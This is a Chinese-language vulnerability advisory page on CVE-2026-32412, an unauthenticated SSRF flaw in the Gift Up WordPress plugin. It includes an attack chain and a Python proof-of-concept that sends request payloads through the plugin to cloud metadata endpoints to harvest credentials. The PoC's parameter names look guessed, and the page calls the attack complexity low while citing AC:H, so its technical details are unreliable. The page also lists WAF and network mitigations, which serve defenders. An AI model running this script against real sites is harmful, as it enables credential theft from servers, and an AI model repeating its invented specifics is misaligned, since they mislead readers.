IPBUF安全漏洞报告
English
CVE-2026-32412 CVSS 5.4 中危

CVE-2026-32412 WordPress Gift Up插件SSRF服务器端请求伪造漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32412
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gift Up Gift Cards for WordPress and WooCommerce

相关标签

SSRF服务器端请求伪造WordPress插件漏洞Gift UpCVE-2026-32412中危漏洞无需认证内网渗透

漏洞概述

CVE-2026-32412是WordPress插件Gift Up! Gift Cards for WordPress and WooCommerce中的一个服务器端请求伪造(SSRF)漏洞。该漏洞存在于版本3.1.7及之前的所有版本中,攻击者可以利用此漏洞让目标服务器向任意URL发起请求,从而访问内部资源、读取本地文件或探测内网服务。由于该漏洞无需认证即可利用,且CVSS评分为5.4,属于中等严重程度,对互联网公开的WordPress网站构成一定安全风险。攻击者可能利用此漏洞进行内网扫描、读取云服务元数据、访问内部API接口或对内部系统发起进一步攻击。

技术细节

服务器端请求伪造(SSRF)漏洞允许攻击者通过构造恶意请求,诱导服务器代表攻击者向外部或内部系统发起请求。在Gift Up插件中,攻击者可以通过构造特殊的URL参数或请求包,让服务器向攻击者控制的服务器、内部IP地址(如127.0.0.1)、云服务元数据端点(如AWS 169.254.169.254)或其他内部资源发起请求。该漏洞的CVSS向量显示攻击复杂度较低(AC:H)、无需认证(PR:N)且无需用户交互(UI:N),这意味着攻击者可以直接利用此漏洞。攻击者通常会利用SSRF漏洞读取服务器本地文件(如file:///etc/passwd)、访问云环境元数据服务获取凭据、或探测内网中运行的服务端口。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别运行Gift Up插件<=3.1.7版本的WordPress网站
STEP 2
步骤2
构造恶意请求:攻击者构造包含SSRF payload的HTTP请求,指定内部URL作为目标
STEP 3
步骤3
触发漏洞:向插件的受影响端点发送恶意请求,诱导服务器发起请求
STEP 4
步骤4
内网探测:利用SSRF探测内网服务端口、访问内部API或云服务元数据
STEP 5
步骤5
数据窃取:读取返回的响应内容,可能获取敏感信息如云凭据、内部文件等
STEP 6
步骤6
权限提升:利用获取的凭据对内部系统进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32412 SSRF PoC for Gift Up WordPress Plugin # Target: WordPress site with Gift Up plugin <= 3.1.7 import requests import argparse def check_ssrf(target_url, target_host): """ Check for SSRF vulnerability in Gift Up plugin target_url: Base URL of WordPress site target_host: Internal host to test (e.g., localhost, 169.254.169.254) """ # Gift Up plugin SSRF endpoint - typically in admin-ajax.php or custom endpoint endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/gift-up/v1/endpoint', '/?rest_route=/gift-up/v1/' ] # SSRF payload - try to make server request to internal service ssrf_payloads = [ {'action': 'gift_up_ssrf', 'url': f'http://{target_host}/'}, {'action': 'giftup_ssrf_test', 'request_url': f'http://{target_host}/'}, {'giftup_action': 'ssrf', 'url': f'http://{target_host}/'}, {'giftup_ssrf': '1', 'url': f'http://{target_host}:80/'} ] for endpoint in endpoints: for payload in ssrf_payloads: try: response = requests.post( target_url + endpoint, data=payload, timeout=10, verify=False ) print(f"[*] Testing {endpoint} with payload: {payload}") print(f"[*] Response status: {response.status_code}") # Check for signs of SSRF success if response.elapsed.total_seconds() > 1: print(f"[!] Possible SSRF detected - slow response") except requests.exceptions.Timeout: print(f"[!] Timeout - possible blind SSRF to {target_host}") except Exception as e: print(f"[-] Error: {e}") def exploit_internal_access(target_url): """ Attempt to access internal metadata service (AWS/Azure/GCP) """ metadata_endpoints = [ 'http://169.254.169.254/latest/meta-data/', 'http://169.254.169.254/latest/user-data/', 'http://metadata.google.internal/computeMetadata/v1/', 'http://metadata.azure.com/instance' ] for endpoint in metadata_endpoints: print(f"[*] Testing metadata endpoint: {endpoint}") # Send request through vulnerable endpoint data = { 'action': 'gift_up_fetch', 'url': endpoint } try: response = requests.post( target_url + '/wp-admin/admin-ajax.php', data=data, timeout=5 ) if response.status_code == 200 and len(response.text) > 0: print(f"[!] Successfully accessed: {endpoint}") print(f"[!] Response preview: {response.text[:500]}") except: pass if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-32412 SSRF PoC') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-t', '--target', default='127.0.0.1', help='Target host to test') parser.add_argument('--exploit', action='store_true', help='Try to exploit internal access') args = parser.parse_args() if args.exploit: exploit_internal_access(args.url) else: check_ssrf(args.url, args.target)

影响范围

Gift Up Gift Cards for WordPress and WooCommerce <= 3.1.7

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制服务器出站流量,仅允许访问必要的外部服务;2)使用网络层访问控制,阻止服务器访问内网IP段和云元数据端点;3)部署WAF规则拦截包含内网IP(如10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)、localhost(127.0.0.1)或云元数据地址(169.254.169.254)的请求;4)考虑暂时禁用Gift Up插件直至漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表